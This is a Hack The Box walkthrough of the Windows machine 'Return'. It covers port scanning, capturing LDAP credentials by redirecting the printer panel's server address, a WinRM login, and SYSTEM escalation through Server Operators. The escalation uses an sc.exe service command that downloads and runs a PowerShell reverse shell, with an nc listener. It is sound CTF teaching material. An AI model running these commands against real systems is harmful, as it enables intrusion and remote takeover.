Notes
| Name | Return |
|---|---|
| OS | Windows |
| RELEASE DATE | 27 Sept 2021 |
| DIFFICULTY | Easy |
About
Return is a machine from Hack The Box. This machine focuses on attacking an exposed printer configuration to gain WinRm credentials. To gain system we learn that we are a port of the “Server Operators” group that will let us escalate our privilege’s by creating a new service that will give us a reverse shell
Port Scan
IP: 10.10.11.108
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PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: HTB Printer Admin Panel
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-01-18 02:51:35Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49674/tcp open msrpc Microsoft Windows RPC
49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49679/tcp open msrpc Microsoft Windows RPC
49682/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
56124/tcp open msrpc Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows
There are lots of open ports and we can learn a few things from them.
- It is a windows machine
- It is running inside a Active Directory domain
- Port 135/139/445 SMB
- Port 88 Kerberos
- Port 389/636 LDAP
We also see that it is running an IIS Webserver. Web servers generally have a big attack surface so I like to start there.
HTTP Port 80
Clicking around I can see that it is running PHP from the url http://10.10.11.108/index.php
There is another page called “Settings”. On the page, we can see that we have a Username of svc-printer and a password that is hidden. I tried to update the password but we can see that the request only updates the “Server Address” field
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POST /settings.php HTTP/1.1
Host: 10.10.11.108
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: http://10.10.11.108
Connection: close
Referer: http://10.10.11.108/settings.php
Upgrade-Insecure-Requests: 1
ip=printer.return.local
Since we have control over the IP we can redirect the LDAP request to our kali machine harvesting the password. Instead of sending the LDAP request to return it will send it to us
User Shell
Now that we have some credentials svc-printer:1edFg43012!! we can try and log into some services. The first one I’ll try is WinRM using, if you don’t have it installed you can easily do it by running gem install evil-winrm. As you can see below we get a session!
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┌──(root💀kali)-[~/htb/return]
└─# evil-winrm -i 10.10.11.108 -u svc-printer -p '1edFg43012!!'
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
From there we can change our directory to C:\Users\svc-printer\Desktop and get our user flag!
nt authority\system
Doing some basic privilege enumeration on our user we can see that we are a member of “Server Operators”. Server operators can start and stop services as well as create them (with admin privileges). We can exploit this to elevate to system by creating a service that will download PowerShell reverse shell and execute it as system!
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*Evil-WinRM* PS C:\Users\svc-printer\Desktop> net user svc-printer
User name svc-printer
Full Name SVCPrinter
Comment Service Account for Printer
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 5/26/2021 12:15:13 AM
Password expires Never
Password changeable 5/27/2021 12:15:13 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 5/26/2021 12:39:29 AM
Logon hours allowed All
Local Group Memberships *Print Operators *Remote Management Use
*Server Operators
Global Group memberships *Domain Users
PowerShell reverse shell
For my reverse shell I’ll use nishang’s “Invoke-PowerShellTcpOneLine.ps1”. I uncommented the first one and added in my kali ip and port. https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1
Then I started up a python http server to allow Return to download it. python3 -m http.server 81
I also started up a listener for our shell nc -lvnp 4444
Create new service and run
Next, we will run the following command to create a new service called “VSS” that will download our PowerShell reverse shell and run it
sc.exe config VSS binpath="C:\Windows\System32\cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://YOUR IP:81/Invoke-PowerShellTcpOneLine.ps1')"
Next we will run sc.exe stop VSS to stop the service And finally, we will start it by executing sc.exe start VSS
We can see that it downloaded our reverse shell
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┌──(root💀kali)-[~/htb/return]
└─# python3 -m http.server 81
Serving HTTP on 0.0.0.0 port 81 (http://0.0.0.0:81/) ...
10.10.11.108 - - [17/Jan/2022 22:11:09] "GET /Invoke-PowerShellTcpOneLine.ps1 HTTP/1.1" 200 -
And looking at our listener we have a shell at system
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┌──(root💀kali)-[~/htb/return]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.108] 54589
whoami
nt authority\system
PS C:\Windows\system32>